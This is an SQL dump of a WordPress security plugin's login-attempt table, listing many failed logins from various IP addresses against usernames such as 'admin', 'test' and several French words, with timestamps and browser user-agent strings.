(102995, 1499280649.997070, 1, 'loginFailInvalidUsername', 'travail', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102996, 1499280652.766121, 1, 'loginFailInvalidUsername', 'namur', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102997, 1499280655.555063, 1, 'loginFailInvalidUsername', 'center', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102998, 1499280658.491340, 1, 'loginFailValidUsername', 'julie', 2, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102999, 1499280660.978029, 1, 'loginFailValidUsername', 'pablo', 3, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103000, 1499280663.958173, 1, 'loginFailInvalidUsername', 'vous', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103001, 1499280667.075141, 1, 'loginFailInvalidUsername', 'training', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103002, 1499280669.550442, 1, 'loginFailInvalidUsername', 'notre', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103003, 1499280980.072632, 1, 'loginFailInvalidUsername', 'test', 0, 2561250091, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103004, 1499280981.481631, 1, 'loginFailInvalidUsername', 'test', 0, 2561250091, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103005, 1499281973.251296, 1, 'loginFailInvalidUsername', 'pour', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103006, 1499281975.920736, 1, 'loginFailInvalidUsername', 'cross', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103007, 1499281978.649747, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103008, 1499281981.340308, 1, 'loginFailInvalidUsername', 'venez', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103009, 1499281984.027810, 1, 'loginFailInvalidUsername', 'outils', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103010, 1499281986.741367, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103011, 1499281989.758984, 1, 'loginFailInvalidUsername', 'travail', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103012, 1499281992.469519, 1, 'loginFailInvalidUsername', 'namur', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103013, 1499281995.189833, 1, 'loginFailInvalidUsername', 'center', 0, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103014, 1499281997.865923, 1, 'loginFailValidUsername', 'julie', 2, 1732504338, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103015, 1499283034.039647, 1, 'loginFailValidUsername', 'pablo', 3, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103016, 1499283037.176872, 1, 'loginFailInvalidUsername', 'vous', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103017, 1499283040.011642, 1, 'loginFailInvalidUsername', 'training', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103018, 1499283043.141409, 1, 'loginFailInvalidUsername', 'notre', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103019, 1499283045.386447, 1, 'loginFailInvalidUsername', 'pour', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103020, 1499283047.579389, 1, 'loginFailInvalidUsername', 'cross', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103021, 1499283050.483806, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103022, 1499283052.672844, 1, 'loginFailInvalidUsername', 'venez', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103023, 1499283055.201393, 1, 'loginFailInvalidUsername', 'outils', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103024, 1499283057.407662, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1729918482, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103025, 1499283182.495307, 1, 'loginFailValidUsername', 'pablo', 3, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103026, 1499283187.220715, 1, 'loginFailInvalidUsername', 'vous', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103027, 1499283189.986007, 1, 'loginFailInvalidUsername', 'training', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103028, 1499283192.736068, 1, 'loginFailInvalidUsername', 'notre', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103029, 1499283195.415062, 1, 'loginFailInvalidUsername', 'pour', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(103030, 1499283198.267582, 1, 'loginFailInvalidUsername', 'cross', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103031, 1499283200.979033, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103032, 1499283203.777068, 1, 'loginFailInvalidUsername', 'venez', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103033, 1499283206.704944, 1, 'loginFailInvalidUsername', 'outils', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103034, 1499283209.591894, 1, 'loginFailInvalidUsername', 'professionnel', 0, 1732504330, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(103035, 1499287229.058750, 1, 'loginFailInvalidUsername', 'test', 0, 1510259739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103036, 1499287376.367332, 1, 'loginFailInvalidUsername', 'test', 0, 700942233, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103037, 1499288020.994276, 1, 'loginFailInvalidUsername', 'test', 0, 2972363085, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103038, 1499288022.291306, 1, 'loginFailInvalidUsername', 'test', 0, 2972363085, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103039, 1499288234.756128, 1, 'loginFailValidUsername', 'admin', 1, 1539836950, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.86.33 (KHTML, like Gecko) Version/5.2.7 Safari/530.79'),
(103040, 1499289731.550508, 1, 'loginFailInvalidUsername', 'test', 0, 2969840026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103041, 1499289733.126717, 1, 'loginFailInvalidUsername', 'test', 0, 2969840026, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103042, 1499291455.966708, 1, 'loginFailInvalidUsername', 'test', 0, 88311441, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103043, 1499291456.958788, 1, 'loginFailInvalidUsername', 'test', 0, 88311441, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103044, 1499297543.454904, 1, 'loginFailInvalidUsername', 'test', 0, 3192026254, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103045, 1499297544.880779, 1, 'loginFailInvalidUsername', 'test', 0, 3192026254, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103046, 1499299063.871731, 1, 'loginFailInvalidUsername', 'test', 0, 2374533419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103047, 1499299064.847738, 1, 'loginFailInvalidUsername', 'test', 0, 2374533419, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103048, 1499299603.413747, 1, 'loginFailInvalidUsername', 'test', 0, 858038359, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103049, 1499299613.872027, 1, 'loginFailInvalidUsername', 'test', 0, 858038359, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103050, 1499302200.513522, 1, 'loginFailInvalidUsername', 'test', 0, 2904767875, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103051, 1499302201.736681, 1, 'loginFailInvalidUsername', 'test', 0, 2904767875, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103052, 1499304068.881839, 1, 'loginFailInvalidUsername', 'test', 0, 3172807620, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103053, 1499304070.268651, 1, 'loginFailInvalidUsername', 'test', 0, 3172807620, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103054, 1499306271.610093, 1, 'loginFailInvalidUsername', 'test', 0, 3580235251, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103055, 1499306272.806979, 1, 'loginFailInvalidUsername', 'test', 0, 3580235251, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103056, 1499308944.634492, 1, 'loginFailInvalidUsername', 'test', 0, 1460533742, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103057, 1499308945.780862, 1, 'loginFailInvalidUsername', 'test', 0, 1460533742, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103058, 1499310346.076637, 1, 'loginFailInvalidUsername', 'test', 0, 737996553, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103059, 1499310347.705253, 1, 'loginFailInvalidUsername', 'test', 0, 737996553, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103060, 1499312322.128448, 1, 'loginFailInvalidUsername', 'test', 0, 755447041, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103061, 1499312323.775103, 1, 'loginFailInvalidUsername', 'test', 0, 755447041, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(103063, 1499312340.931099, 1, 'loginFailInvalidUsername', 'test', 0, 3216740833, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103064, 1499312391.555267, 1, 'loginFailInvalidUsername', 'test', 0, 3184305740, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103065, 1499312393.198214, 1, 'loginFailInvalidUsername', 'test', 0, 3184305740, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103066, 1499312603.158668, 1, 'loginFailInvalidUsername', 'test', 0, 2081251738, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103067, 1499312605.370637, 1, 'loginFailInvalidUsername', 'test', 0, 2081251738, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103068, 1499314823.011962, 1, 'loginFailInvalidUsername', 'test', 0, 453419362, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103069, 1499315088.664428, 1, 'loginFailInvalidUsername', 'test', 0, 1423703982, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103070, 1499315089.626690, 1, 'loginFailInvalidUsername', 'test', 0, 1423703982, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103071, 1499316049.712298, 1, 'loginFailInvalidUsername', 'test', 0, 3157639765, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103072, 1499316050.870689, 1, 'loginFailInvalidUsername', 'test', 0, 3157639765, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(103073, 1499316663.243748, 1, 'loginFailInvalidUsername', 'test', 0, 3032446933, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(101609, 1497915130.773160, 1, 'loginFailValidUsername', 'admin', 1, 1378444814, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101608, 1497915129.765064, 1, 'loginFailValidUsername', 'admin', 1, 1378444814, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101607, 1497914651.818608, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101606, 1497914109.219188, 1, 'loginFailValidUsername', 'admin', 1, 3036335114, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101605, 1497914107.498086, 1, 'loginFailValidUsername', 'admin', 1, 3036335114, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101604, 1497909038.767959, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101603, 1497906915.361471, 1, 'loginFailValidUsername', 'admin', 1, 2172307143, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101602, 1497906912.902274, 1, 'loginFailValidUsername', 'admin', 1, 2172307143, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101601, 1497904286.637883, 1, 'loginFailValidUsername', 'admin', 1, 657710900, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101600, 1497904275.014534, 1, 'loginFailValidUsername', 'admin', 1, 657710900, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101599, 1497903452.907161, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101598, 1497900878.343282, 1, 'loginFailValidUsername', 'admin', 1, 3302842753, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101597, 1497900869.967022, 1, 'loginFailValidUsername', 'admin', 1, 3302842753, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101596, 1497899152.728534, 1, 'loginFailValidUsername', 'admin', 1, 1082719650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101595, 1497899151.575606, 1, 'loginFailValidUsername', 'admin', 1, 1082719650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101594, 1497898058.335024, 1, 'loginFailValidUsername', 'admin', 1, 2969046206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101593, 1497898057.375828, 1, 'loginFailValidUsername', 'admin', 1, 2969046206, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101592, 1497897924.393857, 1, 'loginFailValidUsername', 'admin', 1, 3523560779, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101591, 1497897922.841072, 1, 'loginFailValidUsername', 'admin', 1, 3523560779, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101590, 1497897647.669914, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101589, 1497897223.824803, 1, 'loginFailValidUsername', 'admin', 1, 1451215676, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101588, 1497895651.629394, 1, 'loginFailValidUsername', 'admin', 1, 2959119668, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101587, 1497895650.638165, 1, 'loginFailValidUsername', 'admin', 1, 2959119668, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101586, 1497893796.717329, 1, 'loginFailValidUsername', 'admin', 1, 3134715766, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101585, 1497893795.329684, 1, 'loginFailValidUsername', 'admin', 1, 3134715766, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101584, 1497892612.438210, 1, 'loginFailValidUsername', 'admin', 1, 1539837019, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_58_00) AppleWebKit/534.06.69 (KHTML, like Gecko) Chrome/53.6.1894.7166 Safari/530.77 Edge/34.73456'),
(101583, 1497892071.013639, 1, 'loginFailValidUsername', 'admin', 1, 3374681884, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101582, 1497892068.731566, 1, 'loginFailValidUsername', 'admin', 1, 3374681884, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101581, 1497892060.014749, 1, 'loginFailValidUsername', 'admin', 1, 2536057826, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101580, 1497892058.960403, 1, 'loginFailValidUsername', 'admin', 1, 2536057826, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101579, 1497891320.461162, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101578, 1497890300.364106, 1, 'loginFailValidUsername', 'admin', 1, 1332056195, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101577, 1497888974.366263, 1, 'loginFailValidUsername', 'admin', 1, 1546189087, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101576, 1497888973.310523, 1, 'loginFailValidUsername', 'admin', 1, 1546189087, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101575, 1497886873.693566, 1, 'loginFailValidUsername', 'admin', 1, 1547655939, 'Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0'),
(101574, 1497885149.391001, 1, 'loginFailValidUsername', 'admin', 1, 3184579739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101573, 1497885148.189889, 1, 'loginFailValidUsername', 'admin', 1, 3184579739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101572, 1497883496.565198, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101571, 1497878659.023638, 1, 'loginFailValidUsername', 'admin', 1, 702767257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101570, 1497878657.866059, 1, 'loginFailValidUsername', 'admin', 1, 702767257, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101569, 1497875007.134157, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101568, 1497874937.376640, 1, 'loginFailValidUsername', 'admin', 1, 3124507901, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101567, 1497873221.733387, 1, 'loginFailValidUsername', 'admin', 1, 2087222324, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(101566, 1497873220.072275, 1, 'loginFailValidUsername', 'admin', 1, 2087222324, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101565, 1497872316.290601, 1, 'loginFailValidUsername', 'admin', 1, 3400735281, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101564, 1497872315.035908, 1, 'loginFailValidUsername', 'admin', 1, 3400735281, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101563, 1497871252.049081, 1, 'loginFailValidUsername', 'admin', 1, 1598837055, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101562, 1497871250.992216, 1, 'loginFailValidUsername', 'admin', 1, 1598837055, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101561, 1497870468.439081, 1, 'loginFailValidUsername', 'admin', 1, 1730750354, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101560, 1497870467.086511, 1, 'loginFailValidUsername', 'admin', 1, 1730750354, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101559, 1497867333.139238, 1, 'loginFailValidUsername', 'admin', 1, 3682725338, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8'),
(101558, 1497863766.914280, 1, 'loginFailValidUsername', 'admin', 1, 832027457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101557, 1497863765.330435, 1, 'loginFailValidUsername', 'admin', 1, 832027457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101556, 1497863503.011135, 1, 'loginFailValidUsername', 'admin', 1, 1133349610, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101555, 1497863499.718753, 1, 'loginFailValidUsername', 'admin', 1, 1133349610, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101554, 1497862850.279874, 1, 'loginFailValidUsername', 'admin', 1, 657191032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101553, 1497862848.078248, 1, 'loginFailValidUsername', 'admin', 1, 657191032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101552, 1497862232.524739, 1, 'loginFailValidUsername', 'admin', 1, 1768588169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101551, 1497862231.278049, 1, 'loginFailValidUsername', 'admin', 1, 1768588169, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101550, 1497860855.481398, 1, 'loginFailValidUsername', 'admin', 1, 1800251650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101549, 1497860853.359739, 1, 'loginFailValidUsername', 'admin', 1, 1800251650, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101548, 1497860565.172845, 1, 'loginFailValidUsername', 'admin', 1, 1330590301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101547, 1497860564.083855, 1, 'loginFailValidUsername', 'admin', 1, 1330590301, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101546, 1497855076.137590, 1, 'loginFailValidUsername', 'admin', 1, 1976268809, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101545, 1497855074.468349, 1, 'loginFailValidUsername', 'admin', 1, 1976268809, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101544, 1497853662.954699, 1, 'loginFailValidUsername', 'admin', 1, 1301920624, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(101543, 1497853661.919966, 1, 'loginFailValidUsername', 'admin', 1, 1301920624, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
